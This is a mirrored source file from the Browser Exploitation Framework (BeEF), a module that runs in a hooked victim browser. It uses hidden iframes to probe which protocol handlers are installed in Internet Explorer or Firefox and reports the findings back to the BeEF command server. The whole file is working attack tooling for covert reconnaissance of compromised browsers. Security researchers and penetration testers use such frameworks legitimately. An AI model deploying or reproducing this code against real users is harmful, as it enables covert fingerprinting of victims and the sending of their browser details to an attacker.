Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/detect_protocol_handlers/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// Initialize
10
var handler_results = new Array;
11
var handler_protocol = "<%= @handler_protocol %>".split(/\s*,\s*/);
12
var handler_addr = "<%= @handler_addr %>";
13
var iframe = beef.dom.createInvisibleIframe();
14
15
// Internet Explorer
16
if (beef.browser.isIE()) {
17
18
var protocol_link = document.createElement('a');
19
protocol_link.setAttribute('id', "protocol_link");
20
protocol_link.setAttribute('href', "");
21
iframe.contentWindow.document.appendChild(protocol_link);
22
23
for (var i=0; i<handler_protocol.length; i++) {
24
var result = "";
25
var protocol = handler_protocol[i];
26
try {
27
var anchor = iframe.contentWindow.document.getElementById("protocol_link");
28
anchor.href = protocol+"://"+handler_addr;
29
if (anchor.protocolLong == "Unknown Protocol")
30
result = protocol + " unknown";
31
else result = protocol + " exists";
32
} catch(e) {
33
result = protocol + " does not exist";
34
}
35
handler_results.push(result);
36
}
37
iframe.contentWindow.document.removeChild(protocol_link);
38
}
39
40
// Firefox
41
if (beef.browser.isFF()) {
42
43
var protocol_iframe = document.createElement('iframe');
44
protocol_iframe.setAttribute('id', "protocol_iframe_<%= @command_id %>");
45
protocol_iframe.setAttribute('src', "");
46
protocol_iframe.setAttribute('style', "display:none;height:1px;width:1px;border:none");
47
document.body.appendChild(protocol_iframe);
48
49
for (var i=0; i<handler_protocol.length; i++) {
50
var result = "";
51
var protocol = handler_protocol[i];
52
try {
53
document.getElementById('protocol_iframe_<%= @command_id %>').contentWindow.location = protocol+"://"+handler_addr;
54
} catch(e) {
55
if (e.name == "NS_ERROR_UNKNOWN_PROTOCOL")
56
result = protocol + " does not exist";
57
else result = protocol + " unknown";
58
}
59
if (!result) result = protocol + " exists";
60
handler_results.push(result);
61
}
62
setTimeout("document.body.removeChild(document.getElementById('protocol_iframe_<%= @command_id %>'));",3000);
63
}
64
65
// Return results
66
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'handlers='+JSON.stringify(handler_results));
67
68
});
69
70
71